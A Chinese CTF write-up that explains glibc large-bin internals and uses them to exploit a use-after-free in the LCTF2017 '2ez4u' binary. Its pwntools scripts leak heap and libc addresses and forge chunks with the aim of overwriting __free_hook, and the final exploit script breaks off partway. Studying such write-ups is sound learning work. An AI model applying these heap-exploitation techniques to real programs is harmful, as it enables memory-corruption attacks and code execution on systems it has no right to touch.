首页
论坛
课程
招聘
[原创]ctf中的large bins attack及lctf2017 2ez4u writeup
2018-3-26 01:08 3155

[原创]ctf中的large bins attack及lctf2017 2ez4u writeup

2018-3-26 01:08
3155

前置知识

关于fd_nextsize和bk_nextsize

#include <stdio.h>
#include <stdlib.h>
int main()
{
    char *s=malloc(1008);//分配large bin的大小
    char *s1=malloc(1008);
    char *s2=malloc(960);
    char *s3=malloc(960);
    char *s4=malloc(980);
    char *s5=malloc(980);
    free(s);
    free(s2);
    free(s4);
    char *s6=(char *)malloc(2000);unsorted bins里找
    s6="hello,world";
    printf("%s\n",s6);
}

编译:gcc -m32 fenpei.c -g -o fenpei

pwndbg> b 14
Breakpoint 1 at 0x804850a: file fenpei.c, line 14.
pwndbg> r
Starting program: /home/sakura/fenpei 
...
14        char *s6=(char *)malloc(2000);
...
pwndbg> bins
fastbins
0x10: 0x0
0x18: 0x0
0x20: 0x0
0x28: 0x0
0x30: 0x0
0x38: 0x0
0x40: 0x0
unsortedbin
all: 0x804bf80 —▸ 0x804b7f0 —▸ 0x804b000 ◂— 0xf7fbd450
smallbins
empty
largebins
empty

注意当14行,这条语句运行前,还没有large bins,因为会先把free的chunk加入unsorted bins,然后当再次分配时,遍历unsorted,如果没有才把free的chunk加入到其该去的bins(这里就是large bins)。

pwndbg> n
15        s6="hello,world";
...
pwndbg> bins
fastbins
0x10: 0x0
0x18: 0x0
0x20: 0x0
0x28: 0x0
0x30: 0x0
0x38: 0x0
0x40: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
0x3c0: 0x804b000 —▸ 0x804bf80 —▸ 0x804b7f0 ◂— 0xf7fbd680
0x804b000 PREV_INUSE {
  prev_size = 0, 
  size = 1017, 
  fd = 0x804bf80, 
  bk = 0xf7fbd680 <main_arena+608>, 
  fd_nextsize = 0x804bf80, 
  bk_nextsize = 0x804b7f0
}

0x804bf80 PREV_INUSE {
  prev_size = 0, 
  size = 985, 
  fd = 0x804b7f0, 
  bk = 0x804b000, 
  fd_nextsize = 0x804b7f0, 
  bk_nextsize = 0x804b000
}

0x804b7f0 PREV_INUSE {
  prev_size = 0, 
  size = 969, 
  fd = 0xf7fbd680 <main_arena+608>, 
  bk = 0x804bf80, 
  fd_nextsize = 0x804b000, 
  bk_nextsize = 0x804bf80
}

结论:

  • large bin里的chunk是按照从大到小排序的。
  • 若chunk在large bin的末端,则其的fd_nextsize指向首部,也就是最大的chunk,否则,fd_nextsize指向的是比它小的chunk.
  • 若chunk在large bin的首部,则其的bk_nextsize指向末端,也就是最小的chunk,否则,bk_nextsize指向的是比它大的chunk.

unlink

 

图中A1、B1、C1大小相同,是同一组chunk,A2是第二组,A3、B3大小相同,是第三组chunk。

/* Take a chunk off a bin list */
#define unlink(P, BK, FD) {                                            \
  FD = P->fd;                                                          \
  BK = P->bk;                                                          \
  if (__builtin_expect (FD->bk != P || BK->fd != P, 0))                \
    malloc_printerr (check_action, "corrupted double-linked list", P); \
  else {                                                               \
    FD->bk = BK;                                                       \
    BK->fd = FD;                                                       \
    if (!in_smallbin_range (P->size)                       \
    && __builtin_expect (P->fd_nextsize != NULL, 0)) { \
      assert (P->fd_nextsize->bk_nextsize == P);               \
      assert (P->bk_nextsize->fd_nextsize == P);               \
      if (FD->fd_nextsize == NULL) {                       \
    if (P->fd_nextsize == P)                       \
      FD->fd_nextsize = FD->bk_nextsize = FD;               \
    else {                                   \
      FD->fd_nextsize = P->fd_nextsize;                   \
      FD->bk_nextsize = P->bk_nextsize;                   \
      P->fd_nextsize->bk_nextsize = FD;                   \
      P->bk_nextsize->fd_nextsize = FD;                   \
    }                                   \
      }    else {                                   \
    P->fd_nextsize->bk_nextsize = P->bk_nextsize;               \
    P->bk_nextsize->fd_nextsize = P->fd_nextsize;               \
      }                                       \
    }                                       \
  }                                                                    \
}

large bins中的空闲chunk可能处于两个双向循环链表中,unlink时需要从两个链表中都删除,这里只分析large bin特有的删除操作,其他的参考我的另一篇文章

  • if (!in_smallbin_range (P->size) \
    && builtin_expect (P->fd_nextsize != NULL, 0)) builtin_expect((x),0)表示 x 的值为假的可能性更大,这是一个用于分值预测的命令,我们只要看里面的P->fd_nextsize != NULL即可。
    只有当chunk为large bin且P->fd_nextsize != NULL 时才需要修改,即chunk是同组的第一个空闲chunk。
  • assert (P->fd_nextsize->bk_nextsize == P); \
    assert (P->bk_nextsize->fd_nextsize == P);
    这里进行两个检查。
  • 根据具体情况适当设置fd_nextsize和bk_nextsize

第一种:

if (FD->fd_nextsize == NULL) {
    ...
else {                                   \
    P->fd_nextsize->bk_nextsize = P->bk_nextsize;               \
    P->bk_nextsize->fd_nextsize = P->fd_nextsize;               \
}

即如果FD->fd_nextsize != NULL,说明FD是下一组尺寸相同的chunks的第一个chunk。

 

图示我要移除的P为A2,则FD是A3,FD的fd_nextsize!=NULL

 

P->fd_nextsize->bk_nextsize = P->bk_nextsize;

P->bk_nextsize->fd_nextsize = P->fd_nextsize;

第二种:

if (FD->fd_nextsize == NULL) {                       \
    if (P->fd_nextsize == P)                       \
      FD->fd_nextsize = FD->bk_nextsize = FD;

如果FD->fd_nextsize == NULL,且P是仅有的唯一一组尺寸相同的 chunks的第一个chunk。

 


图示的chunk大小都相同,若P为A1,FD即B1。
则此时P->fd_nextsize仍为P,移除P后,FD就是第一个chunk,所以将FD的fd_nextsize和bk_nextsize都由NULL修改为指向它自己。

 

第三种:

if (!in_smallbin_range (P->size)                       \
    && __builtin_expect (P->fd_nextsize != NULL, 0)) { \
      ...               \

    else {                                   \
      FD->fd_nextsize = P->fd_nextsize;                   \
      FD->bk_nextsize = P->bk_nextsize;                   \
      P->fd_nextsize->bk_nextsize = FD;                   \
      P->bk_nextsize->fd_nextsize = FD;                   \
    }

有多组chunks,且P为同组chunks的第一个chunk,且FD不是下一组尺寸相同的chunks的第一个chunk。

 

 

图示要移除的P为A2,则FD为B2。

FD->fd_nextsize = P->fd_nextsize;
FD->bk_nextsize = P->bk_nextsize;

FD继承P的fd_nextsize和bk_nextsize

P->fd_nextsize->bk_nextsize = FD;                  
P->bk_nextsize->fd_nextsize = FD;

修改P->fd_nextsize和P->bk_nextsize的指针

large bin的分配

下述内容来源《glibc内存管理ptmalloc源代码分析》p87及glibc2.12.1源码

 

这里略去之前fastbins的合并和对unsorted的检索。
当这些都不能分配合适的chunk的时候,就到了下面的large bin分配实现。

/*
      If a large request, scan through the chunks of current bin in
      sorted order to find smallest that fits.  Use the skip list for this.
    */

    if (!in_smallbin_range(nb)) {
      bin = bin_at(av, idx);

      /* 如果所需分配的chunk为large bin chunk,查询对应的large bin链表,
      如果large bin链表为空,或者链表中最大的chunk(即first(bin),large bin中的第一个chunk)也不能满足要求,
      则不能从large bin中分配。否则,遍历large bin 链表,找到合适的chunk。 */
      if ((victim = first(bin)) != bin &&
      (unsigned long)(victim->size) >= (unsigned long)(nb)) {
      /*反向遍历chunk size链表,直到找到第一个大于等于所需chunk大小的chunk退出循环。*/
    victim = victim->bk_nextsize;//第一个chunk的bk_nextsize是large bins的末端,即最小的chunk
    while (((unsigned long)(size = chunksize(victim)) <
        (unsigned long)(nb)))
      victim = victim->bk_nextsize;//遍历chunk_size链表,找下一个更大的。

    /* 如果从large bin链表中选取的chunk victim不是链表中的最后一个chunk,
    并且与victim 大小相同的chunk不止一个,那么意味着victim为chunk size链表中的节点,
    为了不调整chunk size链表,需要避免将chunk size链表中的节点取出,所以取victim->fd节点对应的chunk作为候选chunk。
    由于large bin链表中的 chunk也是按大小排序,同一大小的chunk有多个时,这些chunk必定排在一起,
    所以victim->fd节点对应的chunk的大小必定与victim的大小一样。 */
    if (victim != last(bin) && victim->size == victim->fd->size)
      victim = victim->fd;
    /*计算将victim切分后剩余大小,并调用unlink()宏函数将victim从large bin链表中取出。*/
    remainder_size = size - nb;
    unlink(victim, bck, fwd);
    ...
    ...
    ...
    /* 调用chunk2mem()获得chunk中可用的内存指针,返回给应用层,退出 */
    check_malloced_chunk(av, victim, nb);
    void *p = chunk2mem(victim);
    if (__builtin_expect (perturb_byte, 0))
      alloc_perturb (p, bytes);
    return p;
      }
    }

其他

关于堆利用的其他知识,可以参考清华的论文CTF-wiki

分析

准备工作

checksec

sakura@ubuntu:~$ checksec 2ez4u 
[*] '/home/sakura/2ez4u'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

去掉alarm

去掉之后,注意多nop几下……别让函数看上去断了,弄成我下面这样就行。

分析结构体

个人习惯先逆向分析一下结构体。




 

简单在注释里写了一下分析。

 

结论是:

  1. apple结构体
  2. 管理apple的数据结构

使用pwntools动态分析

动态分析时使用的脚本如下

from pwn import *
from ctypes import c_uint32

context.arch = 'x86-64'
context.os = 'linux'
context.log_level = 'DEBUG'
io = process("./2ez4u", env = {"LD_PRELOAD" : "./libc.so"})
base_addr=0x555555554000
gdb.attach(io, 'b *0x%x' % (base_addr+0xD22))
def add(value, num, l, desc):
    io.recvuntil('your choice:')
    io.sendline('1')
    io.recvuntil('color?(0:red, 1:green):')
    io.sendline('0')
    io.recvuntil('value?(0-999):')
    io.sendline(str(value))
    io.recvuntil('num?(0-16)')
    io.sendline(str(num))
    io.recvuntil('description length?(1-1024):')
    io.sendline(str(l))
    io.recvuntil('description of the apple:')
    io.sendline(desc)
    pass

add(1,2,0x60,'A'*0x60)
io.recvuntil('your choice:')
io.sendline('5')

可以通过动态调试的方式检验自己的分析结果,对一开始还是蛮有帮助,熟悉了之后就不用了,这种菜单题的结构体大同小异。

 

 

解释一下pwntools里面的几条语句

  • context.log_level = 'DEBUG'
    打开debug,可以看到自己的发送和接收(如图)
  • io = process("./2ez4u", env = {"LD_PRELOAD" : "./libc.so"})
    代表使用指定的libc文件去链接,不过要注意一下,因为ld.so的版本原因,跨版本指定libc一般是会失败的,所以这题的话,请使用ubuntu16.04
    如图:
parallels@ubuntu:~/ctf/chal$ python m_struct.py 
[+] Starting local process './2ez4u' env={'LD_PRELOAD': './libc.so'} : pid 9247
...
...
...
parallels@ubuntu:~/ctf/chal$ cat /proc/9247/maps

  • 另外解释一下,base_addr=0x555555554000

这是代码段的基地址(这里主要就是用作调试,所以本地调试需要关闭ASLR,不然这个地址会变化。)

sudo su
echo 0 > /proc/sys/kernel/randomize_va_space

因为可以看到文件里都是按照偏移来写的地址。

  • gdb.attach(io, 'b *0x%x' % (base_addr+0xD22))
    使用gdb attach调试,b *是下断,这里我在malloc下断,attach上去之后再在里面下断也行,没区别。

  • 另外使用IDA对二进制文件进行逆向分析的时候,可以把基地址重新选定,如下操作,可以看到现在基地址已经选定了。(注意这种情况下是在关闭ASLR调试时可以用,服务器上的地址并不是这个)


漏洞分析

添加函数在上面已经分析了。

 

查看函数

 

删除函数

 

修改函数

 

可以看出在free chunk后并没有将存储指针的全局变量删除,还能够对其进行编辑,典型的UAF漏洞。

利用

leak heap

首先构造两个大小在同一个bins中的large chunk,将其释放后,这两个chunk先进入unsorted bins中,再申请一个不满足这两个chunk大小的chunk,则unsorted bins中的这两个chunk将会进入large bins中。
同时fd_nextsize和bk_nextsize将被赋值,因为指向这两个chunk的指针还存放在全局变量中,所以依然可以打印(UAF)

 

调试脚本如下:

#!/usr/bin/env python2.7
# -*- coding: utf-8 -*-

from __future__ import print_function
from pwn import *
from ctypes import c_uint32

context.arch = 'x86-64'
context.os = 'linux'
context.log_level = 'DEBUG'

io = process("./2ez4u", env = {"LD_PRELOAD" : "./libc.so"})

base_addr = 0x0000555555554000

def add(l, desc):
    io.recvuntil('your choice:')
    io.sendline('1')
    io.recvuntil('color?(0:red, 1:green):')
    io.sendline('0')
    io.recvuntil('value?(0-999):')
    io.sendline('0')
    io.recvuntil('num?(0-16)')
    io.sendline('0')
    io.recvuntil('description length?(1-1024):')
    io.sendline(str(l))
    io.recvuntil('description of the apple:')
    io.sendline(desc)

def dele(idx):
    io.recvuntil('your choice:')
    io.sendline('2')
    io.recvuntil('which?(0-15):')
    io.sendline(str(idx))

def edit(idx, desc):
    io.recvuntil('your choice:')
    io.sendline('3')
    io.recvuntil('which?(0-15):')
    io.sendline(str(idx))
    io.recvuntil('color?(0:red, 1:green):')
    io.sendline('2')
    io.recvuntil('value?(0-999):')
    io.sendline('1000')
    io.recvuntil('num?(0-16)')
    io.sendline('17')
    io.recvuntil('new description of the apple:')
    io.sendline(desc)

def show(idx):
    io.recvuntil('your choice:')
    io.sendline('4')
    io.recvuntil('which?(0-15):')
    io.sendline(str(idx))

add(0x60,  '0'*0x60 ) # 
add(0x60,  '1'*0x60 ) #
add(0x60,  '2'*0x60 ) #
add(0x60,  '3'*0x60 ) #
add(0x60,  '4'*0x60 ) #
add(0x60,  '5'*0x60 ) #
add(0x60,  '6'*0x60 ) #

add(0x3f0, '7'*0x3f0) # playground
add(0x30,  '8'*0x30 )
add(0x3e0, '9'*0x3d0) # sup
add(0x30,  'a'*0x30 )
add(0x3f0, 'b'*0x3e0) # victim
add(0x30,  'c'*0x30 )

dele(0x9)
dele(0xb)
dele(0x0)
gdb.attach(io, 'b *0x%x' % (base_addr+0x124e))
add(0x400, '0'*0x400)
# leak
show(0xb)
io.recvuntil('num: ')
print(hex(c_uint32(int(io.recvline()[:-1])).value))

io.recvuntil('description:')
HEAP = u64(io.recvline()[:-1]+'\x00\x00')-0x7e0
log.info("heap base 0x%016x" % HEAP)

gdb挂上后,先查看全局变量,找到堆

pwndbg> x /32gx 0x555555756040
0x555555756040:    0x0000006000000000    0x0000555555757010        index:0
0x555555756050:    0x0000006000000001    0x0000555555757090        index:1
0x555555756060:    0x0000006000000001    0x0000555555757110        index:2
0x555555756070:    0x0000006000000001    0x0000555555757190        index:3
0x555555756080:    0x0000006000000001    0x0000555555757210        index:4
0x555555756090:    0x0000006000000001    0x0000555555757290        index:5
0x5555557560a0:    0x0000006000000001    0x0000555555757310        index:6
0x5555557560b0:    0x000003f000000001    0x0000555555757390        index:7
0x5555557560c0:    0x0000003000000001    0x00005555557577a0        index:8
0x5555557560d0:    0x000003e000000000    0x00005555557577f0        index:9
0x5555557560e0:    0x0000003000000001    0x0000555555757bf0        index:a
0x5555557560f0:    0x000003f000000000    0x0000555555757c40        index:b
0x555555756100:    0x0000003000000001    0x0000555555758050        index:c
0x555555756110:    0x0000000000000000    0x0000000000000000
0x555555756120:    0x0000000000000000    0x0000000000000000
0x555555756130:    0x0000000000000000    0x0000000000000000

 

添加了一个large bin之后。

pwndbg> c
Continuing.
pwndbg> x /32gx 0x555555756040
0x555555756040:    0x0000040000000001    0x00005555557580a0 --->new chunk
0x555555756050:    0x0000006000000001    0x0000555555757090
0x555555756060:    0x0000006000000001    0x0000555555757110
0x555555756070:    0x0000006000000001    0x0000555555757190
0x555555756080:    0x0000006000000001    0x0000555555757210
0x555555756090:    0x0000006000000001    0x0000555555757290
0x5555557560a0:    0x0000006000000001    0x0000555555757310
0x5555557560b0:    0x000003f000000001    0x0000555555757390
0x5555557560c0:    0x0000003000000001    0x00005555557577a0
0x5555557560d0:    0x000003e000000000    0x00005555557577f0
0x5555557560e0:    0x0000003000000001    0x0000555555757bf0
0x5555557560f0:    0x000003f000000000    0x0000555555757c40
0x555555756100:    0x0000003000000001    0x0000555555758050
0x555555756110:    0x0000000000000000    0x0000000000000000
0x555555756120:    0x0000000000000000    0x0000000000000000
0x555555756130:    0x0000000000000000    0x0000000000000000

则index 9

pwndbg> x /20gx 0x00005555557577f0
0x5555557577f0:    0x00007ffff7dd1f68-->fd(main_arena)    0x0000555555757c30-->bk
0x555555757800:    0x0000555555757c30-->fd_nextsize    0x0000555555757c30-->bk_nextsize
0x555555757810:    0x3939393939393939    0x3939393939393939
0x555555757820:    0x3939393939393939    0x3939393939393939
0x555555757830:    0x3939393939393939    0x3939393939393939
0x555555757840:    0x3939393939393939    0x3939393939393939
0x555555757850:    0x3939393939393939    0x3939393939393939
0x555555757860:    0x3939393939393939    0x3939393939393939
0x555555757870:    0x3939393939393939    0x3939393939393939
0x555555757880:    0x3939393939393939    0x3939393939393939

index b

pwndbg> x /20gx 0x0000555555757c40
0x555555757c40:    0x00005555557577e0-->fd                    0x00007ffff7dd1f68-->bk(main_arena,全局变量)
0x555555757c50:    0x00005555557577e0-->fd_nextsize    0x00005555557577e0-->bk_nextsize
0x555555757c60:    0x6262626262626262    0x6262626262626262
0x555555757c70:    0x6262626262626262    0x6262626262626262
0x555555757c80:    0x6262626262626262    0x6262626262626262
0x555555757c90:    0x6262626262626262    0x6262626262626262
0x555555757ca0:    0x6262626262626262    0x6262626262626262
0x555555757cb0:    0x6262626262626262    0x6262626262626262
0x555555757cc0:    0x6262626262626262    0x6262626262626262
0x555555757cd0:    0x6262626262626262    0x6262626262626262

即:chunk_size链为

large bin: index b-->index 9(-->index b)

此处-->均代表bk_nextsize
同时由fd和bk可以看出在large bin链中的顺序,判据如下图:
index b的bk为main_arena,index 9的fd为main_arena

 

顺便index b大小为0x3e0,index 9的大小为0x3d0,b>a,这也证明了large bin确实是从大到小排序的。

[DEBUG] Received 0x94 bytes:
    00000000  63 6f 6c 6f  72 3a 20 67  72 65 65 6e  0a 6e 75 6d  │colo│r: g│reen│·num│
    00000010  3a 20 32 31  38 34 35 0a  76 61 6c 75  65 3a 20 31  │: 21│845·│valu│e: 1│
    00000020  30 34 0a 64  65 73 63 72  69 70 74 69  6f 6e 3a e0  │04·d│escr│ipti│on:·│
    00000030  77 75 55 55  55 0a 0a 3d  3d 3d 3d 3d  20 63 68 61  │wuUU│U··=│====│ cha│
    00000040  6c 6c 20 3d  3d 3d 3d 3d  0a 31 2e 20  61 64 64 20  │ll =│====│·1. │add │
    00000050  61 70 70 6c  65 0a 32 2e  20 64 65 6c  20 61 70 70  │appl│e·2.│ del│ app│
    00000060  6c 65 0a 33  2e 20 65 64  69 74 20 61  70 70 6c 65  │le·3│. ed│it a│pple│
    00000070  0a 34 2e 20  73 68 6f 77  20 61 70 70  6c 65 0a 35  │·4. │show│ app│le·5│
    00000080  2e 20 71 75  69 74 0a 79  6f 75 72 20  63 68 6f 69  │. qu│it·y│our │choi│
    00000090  63 65 3a 20                                         │ce: ││
    00000094

leak libc

#!/usr/bin/env python2.7
# -*- coding: utf-8 -*-

from __future__ import print_function
from pwn import *
from ctypes import c_uint32

context.arch = 'x86-64'
context.os = 'linux'
context.log_level = 'DEBUG'

io = process("./2ez4u", env = {"LD_PRELOAD" : "./libc.so"})

base_addr = 0x0000555555554000

def add(l, desc):
    io.recvuntil('your choice:')
    io.sendline('1')
    io.recvuntil('color?(0:red, 1:green):')
    io.sendline('0')
    io.recvuntil('value?(0-999):')
    io.sendline('0')
    io.recvuntil('num?(0-16)')
    io.sendline('0')
    io.recvuntil('description length?(1-1024):')
    io.sendline(str(l))
    io.recvuntil('description of the apple:')
    io.sendline(desc)

def dele(idx):
    io.recvuntil('your choice:')
    io.sendline('2')
    io.recvuntil('which?(0-15):')
    io.sendline(str(idx))

def edit(idx, desc):
    io.recvuntil('your choice:')
    io.sendline('3')
    io.recvuntil('which?(0-15):')
    io.sendline(str(idx))
    io.recvuntil('color?(0:red, 1:green):')
    io.sendline('2')
    io.recvuntil('value?(0-999):')
    io.sendline('1000')
    io.recvuntil('num?(0-16)')
    io.sendline('17')
    io.recvuntil('new description of the apple:')
    io.sendline(desc)

def show(idx):
    io.recvuntil('your choice:')
    io.sendline('4')
    io.recvuntil('which?(0-15):')
    io.sendline(str(idx))

add(0x60,  '0'*0x60 ) # 
add(0x60,  '1'*0x60 ) #
add(0x60,  '2'*0x60 ) #
add(0x60,  '3'*0x60 ) #
add(0x60,  '4'*0x60 ) #
add(0x60,  '5'*0x60 ) #
add(0x60,  '6'*0x60 ) #

add(0x3f0, '7'*0x3f0) # playground
add(0x30,  '8'*0x30 )
add(0x3e0, '9'*0x3d0) # sup
add(0x30,  'a'*0x30 )
add(0x3f0, 'b'*0x3e0) # victim
add(0x30,  'c'*0x30 )

dele(0x9)
dele(0xb)
dele(0x0)
add(0x400, '0'*0x400)

# leak
show(0xb)
io.recvuntil('num: ')
print(hex(c_uint32(int(io.recvline()[:-1])).value))

io.recvuntil('description:')
HEAP = u64(io.recvline()[:-1]+'\x00\x00')-0x7e0
log.info("heap base 0x%016x" % HEAP)

target_addr = HEAP+0xb0     # 1
chunk1_addr = HEAP+0x130    # 2
chunk2_addr = HEAP+0x1b0    # 3
victim_addr = HEAP+0xc30    # b
log.info("target_addr 0x%016x" % target_addr)
log.info("chunk1_addr 0x%016x" % chunk1_addr)
log.info("chunk2_addr 0x%016x" % chunk2_addr)
log.info("victim_addr 0x%016x" % victim_addr)
gdb.attach(io, 'b *0x%x' % (base_addr+0x124e))
# large bin attack
edit(0xb, p64(chunk1_addr))             # victim
edit(0x1, p64(0x0)+p64(chunk1_addr))    # target
chunk2  = p64(0x0)
chunk2 += p64(0x0)
chunk2 += p64(0x421)
chunk2 += p64(0x0)
chunk2 += p64(0x0)
chunk2 += p64(chunk1_addr)
edit(0x3, chunk2) # chunk2
chunk1  = ''
chunk1 += p64(0x0)
chunk1 += p64(0x0)
chunk1 += p64(0x411)
chunk1 += p64(target_addr-0x18)
chunk1 += p64(target_addr-0x10)
chunk1 += p64(victim_addr)
chunk1 += p64(chunk2_addr)
edit(0x2, chunk1) # chunk1
edit(0x7, '7'*0x198+p64(0x410)+p64(0x411))  
dele(0x6)
dele(0x3)
add(0x3f0, '3'*0x30+p64(0xdeadbeefdeadbeef)) # chunk1, arbitrary write !!!!!!! 
add(0x60,  '6'*0x60 ) #
show(0x3) ## 伪造的堆块中包含small bin,leak libc地址
io.recvuntil('3'*0x30)
io.recv(8)
LIBC = u64(io.recv(6)+'\x00\x00')-0x3c4be8
log.info("libc base 0x%016x" % LIBC)

这部分的调试过程比较简单,就在我脚本里那个地方下断,就可以在每次添加删除或修改执行完,返回生成菜单的代码处断下,查看每次修改结果,不再详细描述。

 

利用思路需要再整理一下,我们每次能够改变的是desc

 

在large bin attack开始前断下,并查看修改前的index b。

Breakpoint 1 at 0x55555555524e
...
pwndbg> x /32gx 0x555555756040
0x555555756040:    0x0000040000000001    0x00005555557580a0->0
0x555555756050:    0x0000006000000001    0x0000555555757090->1
0x555555756060:    0x0000006000000001    0x0000555555757110->2
0x555555756070:    0x0000006000000001    0x0000555555757190->3
0x555555756080:    0x0000006000000001    0x0000555555757210->4
0x555555756090:    0x0000006000000001    0x0000555555757290->5
0x5555557560a0:    0x0000006000000001    0x0000555555757310->6
0x5555557560b0:    0x000003f000000001    0x0000555555757390->7
0x5555557560c0:    0x0000003000000001    0x00005555557577a0->8
0x5555557560d0:    0x000003e000000000    0x00005555557577f0->9
0x5555557560e0:    0x0000003000000001    0x0000555555757bf0->a
0x5555557560f0:    0x000003f000000000    0x0000555555757c40->b
0x555555756100:    0x0000003000000001    0x0000555555758050->c
...

pwndbg> x /20gx 0x0000555555757c40
0x555555757c40:    0x00005555557577e0    0x00007ffff7dd1f68
0x555555757c50:    0x00005555557577e0    0x00005555557577e0->修改前bk_nextsize的指向为最小的chunk
0x555555757c60:    0x6262626262626262    0x6262626262626262
...

target_addr = HEAP+0xb0     # 在index 1中
chunk1_addr = HEAP+0x130    # 在index 2中
chunk2_addr = HEAP+0x1b0    # 在index 3中
victim_addr = HEAP+0xc30    # 在index b中

修改后,执行完edit(0xb, p64(chunk1_addr)),再在生成菜单的代码前断下,此时bk_nextsize指向伪造的chunk1,chunk1将在chunk1_addr这个地址构造。

 

最终构造出:

 

绕过p->fd->bk=p和p->bk->fd=p
以及p->bk_nextsize->fd_nextsize=p和p->fd_nextsize->bk_nextsize=p
同时要注意

pwndbg> x /20gx 0x0000555555757c30
0x555555757c30:    0x0061616161616161    0x0000000000000411
0x555555757c40:    0x00005555557577e0    0x00007ffff7dd1f68
0x555555757c50:    0x00005555557577e0    0x0000555555757130
...
pwndbg> x /20gx 0x00005555557577e0
0x5555557577e0:    0x0038383838383838    0x0000000000000401
0x5555557577f0:    0x00007ffff7dd1f68    0x0000555555757c30
0x555555757800:    0x0000555555757c30    0x0000555555757c30
0x555555757810:    0x3939393939393939    0x3939393939393939
...
pwndbg> x /20gx 0x00005555557571b0
0x5555557571b0:    0x0000000000000000    0x0000000000000421
0x5555557571c0:    0x0000000000000000    0x0000000000000000
0x5555557571d0:    0x0000555555757130    0x3333333333333300
0x5555557571e0:    0x3333333333333333    0x3333333333333333
0x5555557571f0:    0x3333333333333333    0x3333333333333333
0x555555757200:    0x0033333333333333    0x0000000000000081
0x555555757210:    0x0000000000000000    0x0000000000000000
...
pwndbg> x /20gx 0x0000555555757130
0x555555757130:    0x0000000000000000    0x0000000000000411
0x555555757140:    0x0000555555757098    0x00005555557570a0
0x555555757150:    0x0000555555757c30    0x00005555557571b0
pwndbg> x /20gx 0x0000555555757098
0x555555757098:    0x0000000000000000    0x0000000000000001
0x5555557570a8:    0x0000000000000000    0x0000555555757130
...
pwndbg> x /20gx 0x00005555557570a0
0x5555557570a0:    0x0000000000000001    0x0000000000000000
0x5555557570b0:    0x0000555555757130    0x3131313131313100

注意这句话edit(0x7, '7'*0x198+p64(0x410)+p64(0x411))
它是为了保证size的大小一致,在“相邻”的下一个chunk设置好prev_size。
chunk1的addr为130,加上size即410就是540.

pwndbg> x /20gx 0x000055555575754
0x555555757540:    0x0000000000000410->prev_sieze    0x0000000000000411
0x555555757550:    0x3737373737373700    0x3737373737373737
0x555555757560:    0x3737373737373737    0x3737373737373737

构造好之后,就是先删除6和3这两个大小在small bins范围里的chunk。
顺便一提,small bins是FIFO的规则,所以同一个链表中先被释放的chunk会先被分配出去。

 

然后再add(0x3f0, '3'*0x30+p64(0xdeadbeefdeadbeef))
因为我们之前说过了large bins的分配,首先找到first(bins),也就是free chunk的第一个,因为这是这条链里最大的,这里就是c30,然后从它的bk_nextsize开始遍历,即从130开始遍历,这里的130是我们伪造好的,它的大小为410,就被分配出去了。
检查一下,确实是这样,它被分配到了index 3的位置。

pwndbg> x /32gx 0x555555756040
0x555555756040:    0x0000040000000001    0x00005555557580a0
0x555555756050:    0x0000006000000001    0x0000555555757090
0x555555756060:    0x0000006000000001    0x0000555555757110
0x555555756070:    0x000003f000000001    0x0000555555757140
0x555555756080:    0x0000006000000001    0x0000555555757210
0x555555756090:    0x0000006000000001    0x0000555555757290

也可以看出触发了unlink

pwndbg> x /6gx 0x0000555555757c30
0x555555757c30:    0x0061616161616161    0x0000000000000411
0x555555757c40:    0x00005555557577e0    0x00007ffff7dd1f68
0x555555757c50:    0x00005555557577e0    0x00005555557571b0
pwndbg> x /6gx 0x00005555557571b0
0x5555557571b0:    0x0000000000000000    0x0000000000000421
0x5555557571c0:    0x0000000000000000    0x0000000000000000
0x5555557571d0:    0x0000555555757c30    0x3333333333333300

因为之前的index 3即0x0000555555757190就是small bin,而它被包含在我们伪造的chunk的大小(130-540)中,所以被leak出来,其fd的值就在libc中。

pwndbg> x /50gx 0x0000555555757130
0x555555757130:    0x0000000000000000    0x0000000000000411
0x555555757140:    0x0000000000000000    0x0000000000000000
0x555555757150:    0x0000555500000003    0x3333333333333333
0x555555757160:    0x3333333333333333    0x3333333333333333
0x555555757170:    0x3333333333333333    0x3333333333333333
0x555555757180:    0x3333333333333333    0xdeadbeefdeadbeef
0x555555757190:    0x00007ffff7dd1be8->libc    0x0000555555757300

leak出的libc并不是基地址,还要减去偏移,我不大清楚应该这么算,但是关了ASLR之后,我们可以看到基地址,先leak一遍然后算出编译,然后再重新运行leak脚本,把这个偏移值减去即可,有人知道怎么算的话,可以告知我一下~谢谢。

 

最终leak出的libc地址为:0x00007ffff7a0d000

覆盖__free_hook指针

利用这个malloc出来的chunk来修改fastbin的fd
通过修改fd,来malloc出top前一块空间,然后这样就可以修改main_arena上的top为free_hook上面一些的地方。
通过几次malloc,修改free_hook为system的地址

 

这部分的堆构造比较复杂,不过只要注意到是怎么在我们malloc出的fake_chunk里free出一个fastbin,后面就可以通过更改fastbin的fd指针,结合UAF实现任意地址写了。

exp

#!/usr/bin/env python2.7
# -*- coding: utf-8 -*-

from __future__ import print_function
from pwn import *
from ctypes import c_uint32

context.arch = 'x86-64'
context.os = 'linux'
context.log_level = 'DEBUG'

io = process("./2ez4u", env = {"LD_PRELOAD" : "./libc.so"})

base_addr = 0x0000555555554000

def add(l, desc):
    io.recvuntil('your choice:')
    io.sendline('1')
    io.recvuntil('color?(0:red, 1:green):')
    io.sendline('0')
    io.recvuntil('value?(0-999):')
    io.sendline('0')
    io.recvuntil('num?(0-16)')
    io.sendline('0')
    io.recvuntil('description length?(1-1024):')
    io.sendline(str(l))
    io.recvuntil('description of the apple:')
    io.sendline(desc)
    #pass

def dele(idx):
    io.recvuntil('your choice:')
    io.sendline('2')
    io.recvuntil('which?(0-15):')
    io.sendline(str(idx))
    #pass

def edit(idx, desc):
    io.recvuntil('your choice:')
    io.sendline('3')
    io.recvuntil('which?(0-15):')
    io.sendline(str(idx))
    io.recvuntil('color?(0:red, 1:green):')
    io.sendline('2')
    io.recvuntil('value?(0-999):')
    io.sendline('1000')
    io.recvuntil('num?(0-16)')
    io.sendline('17')
    io.recvuntil('new description of the apple:')
    io.sendline(desc)
    #pass

def show(idx):
    io.recvuntil('your choice:')
    io.sendline('4')
    io.recvuntil('which?(0-15):')
    io.sendline(str(idx))
    #pass

add(0x60,  '0'*0x60 ) # 
add(0x60,  '1'*0x60 ) #
add(0x60,  '2'*0x60 ) #
add(0x60,  '3'*0x60 ) #
add(0x60,  '4'*0x60 ) #
add(0x60,  '5'*0x60 ) #
add(0x60,  '6'*0x60 ) #

add(0x3f0, '7'*0x3f0) # playground
add(0x30,  '8'*0x30 )
add(0x3e0, '9'*0x3d0) # sup
add(0x30,  'a'*0x30 )
